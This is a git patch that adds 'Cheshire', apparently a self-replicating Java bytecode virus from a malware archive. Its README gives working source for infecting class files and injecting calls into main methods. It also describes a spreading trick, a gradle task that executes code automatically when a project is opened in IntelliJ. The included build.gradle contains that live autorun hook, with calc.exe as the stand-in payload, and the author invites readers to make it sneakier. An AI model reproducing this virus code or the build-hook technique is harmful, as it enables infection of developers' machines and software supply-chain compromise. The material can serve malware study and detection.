From 2e530a1cc08ad4284025b7d5e294f0619ccf1062 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Sat, 31 Oct 2020 20:39:03 -0500 Subject: [PATCH] Add files via upload --- Java/Virus.Java.Chesire.A/README.md | 423 +++++ Java/Virus.Java.Chesire.A/build.gradle | 61 + Java/Virus.Java.Chesire.A/cheshire.png | Bin 0 -> 24409 bytes .../gradle/wrapper/gradle-wrapper.jar | Bin 0 -> 55190 bytes .../gradle/wrapper/gradle-wrapper.properties | 6 + Java/Virus.Java.Chesire.A/gradlew | 172 ++ Java/Virus.Java.Chesire.A/gradlew.bat | 84 + Java/Virus.Java.Chesire.A/settings.gradle | 1 + .../src/main/java/Goat.java | 5 + .../src/main/java/SelfExamine.java | 1516 +++++++++++++++++ 10 files changed, 2268 insertions(+) create mode 100644 Java/Virus.Java.Chesire.A/README.md create mode 100644 Java/Virus.Java.Chesire.A/build.gradle create mode 100644 Java/Virus.Java.Chesire.A/cheshire.png create mode 100644 Java/Virus.Java.Chesire.A/gradle/wrapper/gradle-wrapper.jar create mode 100644 Java/Virus.Java.Chesire.A/gradle/wrapper/gradle-wrapper.properties create mode 100644 Java/Virus.Java.Chesire.A/gradlew create mode 100644 Java/Virus.Java.Chesire.A/gradlew.bat create mode 100644 Java/Virus.Java.Chesire.A/settings.gradle create mode 100644 Java/Virus.Java.Chesire.A/src/main/java/Goat.java create mode 100644 Java/Virus.Java.Chesire.A/src/main/java/SelfExamine.java diff --git a/Java/Virus.Java.Chesire.A/README.md b/Java/Virus.Java.Chesire.A/README.md new file mode 100644 index 00000000..b33e0b19 --- /dev/null +++ b/Java/Virus.Java.Chesire.A/README.md @@ -0,0 +1,423 @@ +# Virus:Java/Cheshire.A + +![Cheshire Cat](cheshire.png) +by Bot + +Greetings: Coldzer0, Smelly, Neogram + +## Cheshire +This is the first version of my bytecode virus for the JVM. This code is functional on JVM version 8 and higher. Along +with being capable of file infection, this virus was written to accomodate the user. Namely, this virus allows +the user to write some code in Java and instantly use it as a viral payload. Users can easily copy any function +or code to the target. We don't want to add additional libraries to our code so it's important to keep whatever payload +you add to what is available as standard Java libraries. Fortunately, the JVM's standard library is enormous and very flexible. + +## Goals +Why would I write a virus for Java? There are a few reasons: +- Cross platform, no need to select binaries +- Rarity - I have not found a complete JVM virus on the web. +- Flexibility. JVM bytecode is much easier to manipulate than cpu opcodes and binary file formats. + + + +## Prior Work +It appears there has not been a full Java virus in years. The only existing Java virus I could locate was + [Strangebrew](http://virus.wikidot.com/strangebrew), which was coded in 2001. Unfortunately even in this case the full + source was not disclosed. This virus would also not function in today's world, as Java has required bytecode verification + since that time. + +There could be many causes for this. I was not able to find any other documented cases of a Java virus actually functioning. +While I was not able to find the source code for StrangeBrew, according to Symantec, the implementation was a bit buggy. +Upon starting the work I've done here, this might have sounded like an error on the part of the virus author, but we +will see that creating a fully functioning self-contained virus for the JVM is not a simple task. + +## Design Overview + +## File Infection Strategy +Cheshire infects any class file that contains a main function because this method is standard and reliable. All virus methods are static so they can easily be injected into and run from any +class. I chose to implement my own class file parser and infector because adding an entire library to a target is too +easy to spot, limits us if we want to develop more advanced features such as poly or metamorphism and just requires copying +too much data in general. In its current state, this virus is about 30kb. While large, it's much better than requiring entire +jar files simply to operate. + +### The Java Class File Format +To create a virus that infects other executable files, we must first understand the executable format we are dealing with. +_I have absorbed [this page](https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html) into my very being and no +longer understand anything about myself or the world around me._ Instead of traditional machine code, Java executables make use of bytecode. This allows portability without the software + authors needing to think about the platform they are writing code for. We have to consider the following aspects of the + .class file form: + - Which items are in the constant pool + - Which methods are available in the class + - Do the offsets used in our instruction operands match the offsets of our newly modified code and our newly placed constants + - How to adjust stack frames based on our modification of our target + +#### The Constant Pool +Just like the data section of an ELF file, .class files have something called a Constant Pool to store information needed +by code. This is a listing of constant resources for the code to refer to as it runs. This can be anything from Strings +and Numbers to Objects, Methods and many other things. The formatting of the constant pool is very simple: each item is +given an index to which every other constant pool item, method and instruction may refer to. For our purposes, any +constant pool items we need to add can simply be appended to the target's constant pool. This will not cause any issues +with code verification or loading. + +#### Methods +In a fashion similar to the constant pool, every method has an index. Our code has a few tasks when it comes to manipulating methods: +1) Read our own methods into memory so that we may copy them +2) Find methods in target code that we can infect. In our case, any main method will do +3) Inject our methods into the target class +4) Modify the code of the main method to invoke our virus code before continuing as normal + +#### Code +Code is perhaps the simplest part of the entire class file format. Every instruction is loaded with some number of +operands following it. There can only be up to 255 JVM bytecode instructions so the set we need to understand is pretty +small compared to x86. The format of this data is simply an opcode followe by operands. + +#### The Stack Map Table +After Java 7, you can no longer simply throw instructions into a method and expect functioning program. To make type guarantees +about code at runtime, Java maps out which variables are in the JVM's stack frame at any given time and for how long these +conditions apply. Every stackmapframe applies for some number of instructions indicated by an offset from the current +instruction being executed. + +This is by far the hardest part to get right. Before Java runs code, it verifies that the code being loaded refers to +variables that are consistent with the types defined by the code. This would be fine normally, except for _a few complications._ + +#### The Challenge +So why is all of this hard? We run into a problem: several java instructions, one of which we use regularly, actually +have 2 different implementations. Some instructions will refer to constant pool values and take an +argument as a single unsigned byte(addressing up to 255 items) or two bytes(up to 65535 items). If we are appending our +needed constants to a target constant pool and the pool has more than 255 items, we need to decide whether to use the +instruction the original instruction that our compiler chose or a _new_ instruction addressing the correct number of +possible constants. + +We could simply choose to hardcode our solution to only ever use 2 byte addressing and start only with lower numbers, +but ideally our code should be able to copy whatever methods we give it to copy and not simply some very specific code. +The viurs should be flexible and allow for advanced payloads specific by the user. Otherwise we are very limited in what we can do and + create more overead if we want to implement advanced features like polymoprhism or even metamorphism. + +## Implementation + +### Copying resources to the target + +This is probably the easiest part of the whole process. Our code for doing this is: + +``` +public static int copyConstant(HashMap origin, int origin_index, HashMap destination){ + byte[][] constant_pool = (byte[][]) origin.get("constant_pool"); + byte[] orig_constant = constant_pool[origin_index-1]; + + //Create a map between the old and new constant pools + //This will help us avoid copying too many vars over and being wasteful + if(origin.get("constant_pool_map") == null){ + HashMap constant_pool_map = new HashMap(); + origin.put("constant_pool_map", constant_pool_map); + } + HashMap constant_pool_map = (HashMap) origin.get("constant_pool_map"); + if(constant_pool_map.keySet().contains(origin_index)){ + return constant_pool_map.get(origin_index); + } + int const_tag = orig_constant[0]; + if(const_tag == 1){ + int new_index = addToPool(destination, orig_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 7){ + ByteBuffer b = ByteBuffer.allocate(3); + int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_name_index = copyConstant(origin, orig_name_index, destination); + b.put(orig_constant[0]); + b.putShort((short) new_name_index); + byte[] new_constant = b.array(); + int new_index; + if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){ + byte[] selfClassBytes = (byte[]) destination.get("this_class"); + ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes); + new_index = selfBytes.getShort(); + } + else{ + new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + } + return new_index; + } + else if(const_tag == 9 || const_tag == 10 || const_tag == 11){ + ByteBuffer b = ByteBuffer.allocate(5); + int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_class_index = copyConstant(origin, orig_class_index, destination); + String thisClass = getClassName(origin); + byte[] methodClassBytes = constant_pool[orig_class_index-1]; + ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes); + methodClassBuffer.get(); + int classNameIndex = methodClassBuffer.getShort(); + String methodClassName = getUtf8Constant(classNameIndex, origin); + + if(methodClassName.equals(getClassName(origin))){ + byte[] selfClassBytes = (byte[]) destination.get("this_class"); + byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool"); + ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes); + new_class_index = selfBytes.getShort(); + } + b.put(orig_constant[0]); + b.putShort((short) new_class_index); + int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); + int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination); + b.putShort((short) new_name_and_type_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 8){ + ByteBuffer b = ByteBuffer.allocate(3); + b.put(orig_constant[0]); + int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_string_index = copyConstant(origin, orig_string_index, destination); + b.putShort((short) new_string_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + + } + else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){ + int new_index = addToPool(destination, orig_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 12){ + ByteBuffer b = ByteBuffer.allocate(5); + b.put(orig_constant[0]); + int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_name_index = copyConstant(origin, orig_name_index, destination); + b.putShort((short) new_name_index); + int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); + int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); + b.putShort((short) new_descriptor_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 15){ + ByteBuffer b = ByteBuffer.allocate(4); + b.put(orig_constant[0]); + b.put(orig_constant[1]); + int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF)); + int new_reference_index = copyConstant(origin, old_reference_index, destination); + b.putShort((short) new_reference_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 16){ + ByteBuffer b = ByteBuffer.allocate(3); + b.put(orig_constant[0]); + int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); + b.putShort((short) new_descriptor_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 18){ + ByteBuffer b = ByteBuffer.allocate(5); + b.put(orig_constant[0]); + b.put(orig_constant[1]); + b.put(orig_constant[2]); + int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); + int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination); + b.putShort((short) new_name_and_type_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else{ + return -1; + } + } +``` + +Essentially we create a function that keeps track of constants in both the origin and the target's constant pools. Whenever +we want to copy an item over, we do a quick check to see if we've already copied that item. If so, simply return +the index of the item instead of copying again. The JVM generally does not care too much about what you put in the constant +pool as long as it's a valid constant. + +### Moving Methods + +Copying a method from the source to the target is trickier than it sounds. While adding a method to a compiled class is +merely a matter of adding it to an index of methods, the real challenge is in ensuring the instructions for the method being + copied point to the correct resources and offsets. We have a useful function for consistently referring to the correct + constant pool resources but we need a way to consistently calculate the correct instruction positions and offsets for our + methods to actually function at runtime. + + The workhorse of the virus for this is the instructionIndex method: + ``` + public static int instructionIndex(int index, ArrayList oldList, ArrayList newList){ + int oldposition = 0; + int newposition = 0; + int remainder = 0; + int instruction_pos = 0; + int list_offset = 0; + if(oldList.size() != newList.size()){ + list_offset = newList.size() - oldList.size(); + } + // Step one: Convert old index + while(oldposition < index){ + if(oldposition + oldList.get(instruction_pos).length <= index){ + oldposition += oldList.get(instruction_pos).length; + instruction_pos += 1; + } + else if(oldposition + oldList.get(instruction_pos).length > index){ + oldposition += oldList.get(instruction_pos).length; + instruction_pos += 1; + remainder = oldposition - index; + oldposition -= remainder; + } + } + instruction_pos += list_offset; + //Step two: Convert instruction_pos + remainder to new position + for(int i = 0; i < instruction_pos; i++){ + newposition += newList.get(i).length; + } + return newposition; + } + +``` + +There's no magic here. Essentially we just need to translate the original position of some code +to the new position of the same code after it has been modified. This function ends up being +heavily leveraged throughout the rest of the virus. For the excruitiating details of +how this is used to adjust instruction operands, see the processInstructions method in SelfExamine.java. + +### The StackMapTable + +A virus for the JVM would be very easy if it were not for the Stack Map Table. This ~~fucking~~ mechanism gives +reasonable type safety guarantees, but requiring specific code offsets for certain kinds of stack conditions to apply +complicates the process of injecting code. Essentially we have to not only recalculate our own code as +we copy it due to the new positions of our constants in the constant pool and the new sizes and positions of our copied +instructions, but we also have to calculate what the offsets should be if we add code to existing code. + +Since we are aiming to inject instructions directly into our target's main method without causing a crash, we need +to think about this quite a bit. However it's worth noting that this is still dramatically easier than doing this for an +x86 instruction set. + +The code to calculate the correct StackMapTable offsets can be found in processAttribute. All I'm going to say about it +is that it took forever to get functioning without errors. + +### Injection + +The last part of our process after we copy our methods is actually inject instructions into a function that we did not +write and have no control over. The good news for me is that this didn't require too much extra work. + +``` + public static void inject(HashMap origin, HashMap destination){ + //Are there any functions called main? + //Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame + //We should parse through the constant pool, look for the methodref with our method name and capture the index + byte[][] constant_pool = (byte[][]) origin.get("constant_pool"); + int methodRefIndex; + byte[] instruction_bytes = new byte[3]; + + //Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef + //For that method manually. + + //Find the Constant Pool index of the MethodRef for our virus. + for(int i = 0; i < constant_pool.length; i++){ + byte[] constant = constant_pool[i]; + + if(constant[0] == (byte) 10){ + byte[] natindexbytes = new byte[2]; + System.arraycopy(constant, 3 , natindexbytes, 0, 2); + int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF)); + byte[] NameAndType = constant_pool[NameAndTypeIndex-1]; + byte[] nameindexbytes = new byte[2]; + System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 ); + int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF)); + String methodName = getUtf8Constant(NameIndex, origin); + if(methodName.equals("Cheshire")){ + methodRefIndex = i+1; + methodRefIndex = copyConstant(origin, methodRefIndex, destination); + ByteBuffer bb = ByteBuffer.allocate(2); + bb.putShort((short) methodRefIndex); + byte[] index_bytes = bb.array(); + byte invokestatic = (byte) 184; + instruction_bytes[0] = invokestatic; + instruction_bytes[1] = index_bytes[0]; + instruction_bytes[2] = index_bytes[1]; + ArrayList inject_instructions = new ArrayList(); + inject_instructions.add(instruction_bytes); + destination.put("inject_instructions", inject_instructions); + } + } + } + + byte[][] methods = (byte[][]) destination.get("methods"); + for(int i = 0; i < methods.length; i++){ + ByteBuffer b = ByteBuffer.wrap(methods[i]); + b.get(new byte[2]); + int nameIndex = b.getShort(); + b.get(new byte[4]); + String methodName = getUtf8Constant(nameIndex, destination); + if(methodName.equals("main")){ + try { + copyMethod((HashMap) destination.clone(), i, destination); + } catch (IOException e) { + e.printStackTrace(); + } + + } + } + + } + +``` +Since our main virus method is never called by any of the other functions we've written, we have to copy the MethodRef +for that function to the target ourselves. We need to do this to use the invokestatic opcode, which is what we're sticking with + for execution. As you can see, I horribly bastardized my own code here by adding the newly generated instruction to an item in the destination's HashMap. This is horrible and I'm sorry. +It does however appear to have worked so there's that. + +## Transmission Mechanism + +One thing I've bundled with this virus is a very simple but effective way to help this virus spread. We know that we're +interested in infecting .class files inside of Jars, but simply allowing it to happen and spread over time would tkae a while. + +After some digging into how we might abuse build systems to spread our code, I stumbled on to the somewhat surprising fact +that it is trivially easy to trigger code execution when somebody clones a gradle project in IntelliJ IDEA. This trick +probably also works in Android studio. I haven't tried it myself - maybe you should :) + +The trick is very simple: + +In settings.gradle in your project, place some innocent looking comments and code: +``` +task testSuite(type: JavaExec) { + jar + classpath = files('build/libs/BytecodeVirus-1.0-SNAPSHOT.jar') + classpath += sourceSets.main.runtimeClasspath + main = "Goat" +} + +void autoBuild(){ + testSuite + String classpath = sourceSets + exec {commandLine 'calc.exe'} + +} + +build{ + autoBuild(); +} + +``` + +We can quickly talk about what this does. The trick is very simple. We can define a custom task for gradle +to run upon build. In IntelliJ IDEA, build is run every time a project is opened. For dramatic effect I've made +this code launch calc.exe but you could easily be much sneakier. ***The result of this obvious issue is that we can +get execution on clone in IntelliJ IDEA.*** Give it a try :) + +## End Result +The end result of this effort is a set of self-replicating bytecode that is only a few steps away from being pretty +weaponizable. There are a lot of improvements I would have made to this code if I had the time, but hopefully a codebase +to create viral code just by using an IDE as normal is enough for now. Hope you enjoyed. Until next time. + diff --git a/Java/Virus.Java.Chesire.A/build.gradle b/Java/Virus.Java.Chesire.A/build.gradle new file mode 100644 index 00000000..f456a824 --- /dev/null +++ b/Java/Virus.Java.Chesire.A/build.gradle @@ -0,0 +1,61 @@ +plugins { + id 'java' +} + + +group 'org.example' +version '1.0-SNAPSHOT' +sourceCompatibility = 1.8 +build.dependsOn.add("testSuite") + + +task testSuite(type: JavaExec) { + jar + classpath = files('build/libs/BytecodeVirus-1.0-SNAPSHOT.jar') + classpath += sourceSets.main.runtimeClasspath + main = "Goat" +} + +void autoBuild(){ + testSuite + String classpath = sourceSets + exec {commandLine 'calc.exe'} + +} + +build{ + autoBuild(); +} + + +jar { + + manifest { + attributes 'Main-Class': 'SelfExamine' + } +} + + +task fatJar(type: Jar) { + + doFirst { + from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } } + } + exclude 'META-INF/*.RSA', 'META-INF/*.SF','META-INF/*.DSA' + manifest { + attributes 'Main-Class': 'SelfExamine' + } + baseName = project.name + '-all' + from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } } + with jar +} + + +repositories { + mavenCentral() +} + +dependencies { + compile group: 'javassist', name: 'javassist', version: '3.12.0.GA' + testCompile group: 'junit', name: 'junit', version: '4.12' +} \ No newline at end of file diff --git a/Java/Virus.Java.Chesire.A/cheshire.png b/Java/Virus.Java.Chesire.A/cheshire.png new file mode 100644 index 0000000000000000000000000000000000000000..9a909afb46449f0a5d51858a601e433f3337ec6b GIT binary patch literal 24409 zcmeIacT`hp*FJm@M;HeSqK=^87*tSf5F<5!(yTBM1f;2<1PMimw1g5zM+s6yMFAlw z83t4W(t8;VMFau@K?s6^5~&eF2oOkqcXXb4zV)tT-oL-K-t&)HlHBLMce(c7*WTxl zezmk%vs!621VL*~95+1+K{7-LTB#$u3jEKP&c95+KT^1}7RR96wr!&j^b2&t^r%fp z>co3yoV3Q>AKGV|gu*w-b%B4(#XRy-_dWW8p_<`+cjv*(^~^k0sDKN8FS@Q&344*> zKSEH$uaIbYa2-D;wdMP#Uw-`I;`dL)og0Z#-#^~{zc2ouc)pp!{~3iiS0M4GM4ob| zu~xv%dvBuicAVRXTnYZ??h9!#hT}r#G_h6yuRFaDo=!U>4MCqgWDb3IHRBDd>%M=2 zPDBxbd&-`?3Qr*21)ri`uf6#FPyb&nte08?Fhk31Cfd(gwKL@!sy`BZX(V6VjRz`a zz~8d;kS}N9Df6?g=TH2>DbJvC9`&3Z&$rMI27gTGm6H2@lRGz7{Ie$jAyciXDwbOxfPE zVY8!}&xWo%^>0qeQ)Es|rw5$rj)BjVgL8hlBuN;=Q)wFrjsYh(?#JjZS0wq^YztqB z&X9tLITPZLOuik0jCIr+UcYSBGBb(Xpa3M5+9XkkGCD|euJtF^g_wX?153udlQcR) zIC2wv^7LT{S|6)i_gyZ~33W(x6mad_u|f%gHa{gnNaXIr0W|DoU!%rtp-WdPwhlc$ zMKc9o(-139*kdW^Vn&l@7Sf;65qGKzUKpOc9aX*T8+ZM{p4RJJAcdj=aT+u=mWJwJ zm1qM;3KlzbKbT~2gs5n00&YZ=D1t*B7*keu($HHBqbM?Z+oQ0dq-(Xw{^?amTb)Rx zRS;2M@*c0F@>4VEy1UMv>w>F2BiY}QJ;^&ez8Qi73MFqZ(|&|JXO-Z3&uSa|#lW6v zZkECtAo_C2w@FCZ!b+KI%FoUqOSSD%0zwTC>p9jefGoL2gkLbq&F( zF$x*-ft5E29rhZOC(f!6^nxtzW+H322+w~oPK}|&1VuPf$QG^Vib9Df8Z-B!O2JLh zHkGp4O< zfuyVI{|H^AoZabnhBlOayumsHL1^ezB00Uq)p)E=Tu_~<*rna`0iVmO_9AC#)cy=X z^I~zQDtH~Zjjg(w_Cs{4MR7cAaVEGDc0$VcSI)#EpB~-{sE#Dj+D`WTa{AZZu=r^w^2fN(lOJ zBPTPEnCf82RrdqjxtiRkr`sLZB}hMkz0^^jcLyrFAr+d;wyWY z3sF7X?BX#)0K@9y)J`Mtz(zjUl-7&3P`}DE@YOQ>UP}6@sD8udY&y^T2k7EPaVI#o z5=5D$j@<0mo~E`d`k&6mV8eG$jTv3n0agx^h=x0Z9lbv^H+_EOnl5GTPdBg|x7uOq zn|^c~SglfQAO^>E+b;!qcPXgu3o0APF5ho`XD$AN!)JT_G0rhE55#}o_0de z%NQ7Rk)U$ue*IBt=uosIgZ`zQiH7VNqNBqFX*$h*j32L5q+kX|C*`BAuYw-mlKeBz zgqz8!TlV~z?$9$fA;?;vx7rBUa@K6Txkx&a1Lju?bow~y@zN2m)*|zS^ntZGKTjII zC_pOtgM^~%U(QC#b$^(GU{vh3Vhdj*w%o({=X&<=oB1c)M2@E}HYXE>G@!(s!DgMt zoP@iDq_ibQMT8fFJXc#>T0ky8S~PyRFZ`DkqI-vl%?Us{nVRM=4P7ZCtG_(m@q1xx z3iIq?G~@W|Uehyz+`#3Qnp0cv<$Gd%sK-Y$Tw~b0-Z1{0LUC(+ ziu%l1!kMb_IYCg=zCP{->hdaN<5cJxXnnebEwOTAwnD^<_zYRUxC7n@FJEj%aN0vW z0=LVh;6iJETN&$%@O{KqUY(9*xeIKz_B)K@CRm=ZX<79`mVCqLc{%9HW=Wt?=P{&7KdYde%uOv(;pfgNW$bBG+Ej^m zP4p2Ysx`mMw0wXOk>QEkLS610?ct8Xa&9S3CdX84Cr7YjU*r}E z2O^?9hkupf`4^bs?0a{XUE#_7*@t1R3P zx=5Doai&|TdG<^#1U$%Lw@9k7U_i!7Zm};E_^DRop-#QqFLrSb_bs0h>MZ+(Or?fY zogd7Uf-=N{$TyR`bN*9yMN|H@!baT5qQEmb?nOaFCHX14K3wVG2ih>#8YHe*Ng?4A z6-1v5HS&Rg!xzrnA5u?XJ!xo;dda}$7Z}yaWfD-I_)i4>iv-IwjdA@Wknu`!&~XD~ zWJKXF*qzR2+|Zz+G#p6uu)y?~2GKob?4KgmI#dQlq#7EXAFP&wg2Wy~q=Tj5n_tSw zvR|y@rZ>W2lvAntA55wK?YkCPU)bk^;GabqpjV-TEqSdK@_p#2AU?07d14dZBevSkPb1i`2`AoMp8b| zA@p0WH)NmF1L(YPlNSmRRm9!%dx~M}8B5YfVRJIn4WNP)dFz~TZ+%XZ&~F4Fv)Eb{ zAhTMe3JkiENq)ytpnNoCO4YGFXi5)L-(Hx&8J4yReb`G7gpiEGrvB)aPG@L?KAJ@6 z*9|*XEtCW?$`-1M8lFf){dJPu;Sbo{q$8uu2>K$wLq!*>Ptd)1%q$ zBn$@C-dF)DX3p8*YmARtlJ0c8>7Zt_1)y-&DaDXU^K+->ovDHj(Jxn zAShX^ghUqCPAlNTZw=CRtax$uMwv%`UAb;8Hc1=$uu-g$jfbiv6Cq=J>U4dUMLw6- z{C+dnDOxkNBR$MiXNA1!?cg9kgHv>VJV!8DBGiY7{gMr5DYDc|k=LYWH*_HR$<=Cm zX>Q9Vcz;Q5M!o*v5ux@A6~-Yu$kVw zrmX4u{d2w5nl*1LTeEq)Sj&w*!gvT;5G#dm6jTVA;~I<6508M+?4q?l-9td8>p$v# zSqM2WzGE$C6=dovE<^$a>grpqhmJo%49(Aa7N;bY<>b@l7p09?qSG&TbK1PqmRfy; zfd0~zeCw$|JZ)Moi+dtJPLc3V((^IEj^@s3IX&rm6(D#3%aSNB{Wr z5)#Vd^#75_%bjo8`Y%PU}UX_z8+_$FQnp z3i70&HpvA7vCMXy1nhJ-UWmvv5i2&E;n zV#G_dw6y1lm-wJa&%`~yX?5n`c|@338VY3>jfb~XIMBmZNT6Cp72Xjk$fU^ps7JJp z{;r`A^ZxXA##^4VTpSi1dz8|>7_VFDv(_PPtwkCsYdx!d$3pn>g|bl8D@lRi>L}@<0dgou zt;X+Rq9ze7{V})_{mD5v*rEJEKda|!D)LlOnFl)%+rL!10ebOJTzr@w0Ntw(2Qpe1 z&q-Onv4tw#+vktyEA??h;!*kZ46^HnSC8nqJWc<0PU;L?6EZfGbSmPiEK?>mhFhtt za>)Ar;3#Y8D#AYvFcl{~DpVFURp-h_;PChBto&c$=B`qCUr$d$(1g1LY)I%_2^}6K zg&H80a(4@+Hd2STcME3`U-xwSyX!qrC>}65$?`N`Iyl{G$fhvVIAymQi)NOe6$^89 zz9_QaX5}nwjgyxkx^JL=C%vhF3!^Q+-)3<>dj2^{FIE1QJ;%AtISj!yU$|eA@`yGzJ?T_!geRu0mg{u!FI4 zg=+so4ileMA8HzlcSi}}j)r;*ct#O(4)yqk!n z?4Fvp#$FA3olQVl(L6^h&Fl3`8;Typq&!bV(Wm^}x(iEGX?rZN!cWVbTlNvq#Z{7W zn!3n#1sSE-km{tMw1)~kS8S2I2PyW$DRU|Gi4Oe1Ns^pTtcuTaE?Ip-k)D9UK1Lj< z1o_!E>h$nZl04sOamjf(xZbcdPT}9|M0l&IxG)N5aOy_LD_PfzIpiE=5w3CwT(^>po~s;XmKOZbP$ok$P?_7m z-F7a%-=$z&#a?Snunt=PKPVR`l6@}(eV+vYtmEGesrBpl@rs&P(L>oEmHudq`O=1R zRZo@=?OR-+Ml#_y?%Mw_a?yOP>GoHn^1>>EE8}J6Gs!b2z+6Am4Y&V`=AK z>he>Bj**oTIyB#Eexj_VzXoZQ@~NEdh>Uu}o*1f|P1hB=e{0e`6sLXfOdnB&!f?5< z#cdKW@3T@+w%9B?3KVkl6lO-e+1I~ZDl_yQxwK#C^SOzr7HVSvzG{CePG8p*+XdxN7BHFSl5BDf#P;ajatIsL9XC3)?oG(DSl% zsKwrw#d>@$Ha4W7(~DWYS!BK%B(dx8ENU&^|CK>hAAc(+D7Q(Ibe@8+Gha;?EICg% zQ5tZ~DNp4W97dSg?^tg!W81TqJ16FHEX&tPL;hmZB@t<$ZvL9|i2vSa`g+*bO+qGq z4SCBXQ|VG4CwUi=l`#Ux#`%{xWBCA(! zus>N{E?GGyljBUliY=^#Xp(eJylr~>Y0PeGoA(o*ot-S1llY;>7}`O4)VoQNsY>8v zeDp1!Wu~XAXYtI^9Ic`)$&vo&yvGIW#dKzyy&y{(@{%No53ov@hLu0s`+atqS$@P< zikfYH!$ebS3VTcub4F+jZ@8c}2FEnY)1&TzTO?uwH`4#C_Pvc@2nhPvdEr{goNt|( z>5XvxT_wKe-XqOXcJ@z4DpWS1m^kHFC02~)L^Kq;9`l}~ONk4&TbjwnApt;`$KJ!k z+nx#*`jQ)k!4lx`TY>}$d~CW3?TzL&^>a(Oeiq>#R;Q<$kAGBw*I?(WVhhH%wT2v+ zhz>uHTnghfCUCE_?fV$?nB6bSbVYf$by~(m{wLV^nv;^uFuuEC{FZ>AUH0R2;S{F6+7Pn#IQT}PjWk1Jt{g*!nI={su zrz(CQ$264)5~RW^v5cF4Sz0VUFqWPnkjO*OjfN*_l)mc3mKmlyViIp*+B6eRQHgP zL}S92*J^)5VM4IeO|5>gJ+ml4wfhdI#EWd0u2f& zNrVQ*VluU7#UP$BIl;TvwCv}pwp+-Pg3`s>;kV(SuYU6AW!iGWxyxzs(aHy$^^pnX zh-GZXzpqQ>As!@Jb0CSAeQ;?a0;8yJra7 z=@QxEl=-q=|Fm7y{8aejV2MhZ#f`GzL|4!128;S1N(W4W-uqc3`&Y@gxyF0;tl)a| z%V=?HpQIJe*RF%+-9TCMwRYnD`+&)30jqv3Z)OWy%CGE2+}pHpcqH#~L)jnpr*Eu( zJFqbw%u7I!`pZ>^ME`>68hH?a9zQ0l*E2KfV5krc_b9%Cbdyg(J>4VfD0z7z-hp5@ z2S@if;D=IQ&-G8|c@OSr?zxXUAY3C0g$1nmdphc|?AE$(3qp_?h~mWG3d}q`9_(0A z!40-!+&T&Ke@G34!RTEvgR!%i&wO;y1ZSdbM9#mRve-^x^@ct-;s=|(pL;VG{?_`! zLha|S;aV9fNR9YyyATxp;y)8fztVV9YrzPGx=DX}h_UZxl6lzkP9+ni&_7}H580kW ze7PhH^xU>4}jpj=m=-L>mBcoi71IXM~fjKT_eaFer&77 z*F4k;qpP!y2ng$;E8@fw#-0N5c2^t{(4=3oVVp>ttCJJ&7MgI%3smQhMyi8rv?Eh7 zlUqXarXG$%sHqM=d4;=M_asE)V4C=xCWq|aj`DxKq?e@zEk+P7^ zKT^K2=HhpC5@9vLV65!%Z*u;TXz5GUsQhX;EX^_Ux!PV`$J7~;2Q6?ehePH3I)Ov> z)>z#ax&ZB@r~YS}>wj1pBv9WF-m5fT@!YW8&u-gQtL?Ck8Y=45EY>-l&=6^Ucy_|@ zh51c;*Uz;N0bXyFblidp=y4L`xH&4osGxq4wC0AAN8_hCgW&|(FN`mvx*+qEfJQ5;dHn8xQa{U!7H&4q%GFsMd|#OUpA=ePy}iT;a`Vm zF(0WyB&r(Tu=6dQu1A55ThzOk3T&~p*7j{;|#>5J}1xtf9I9YC=4ETF|Yub&DeB_`WPcN8Z^_u9?`6!SE?= 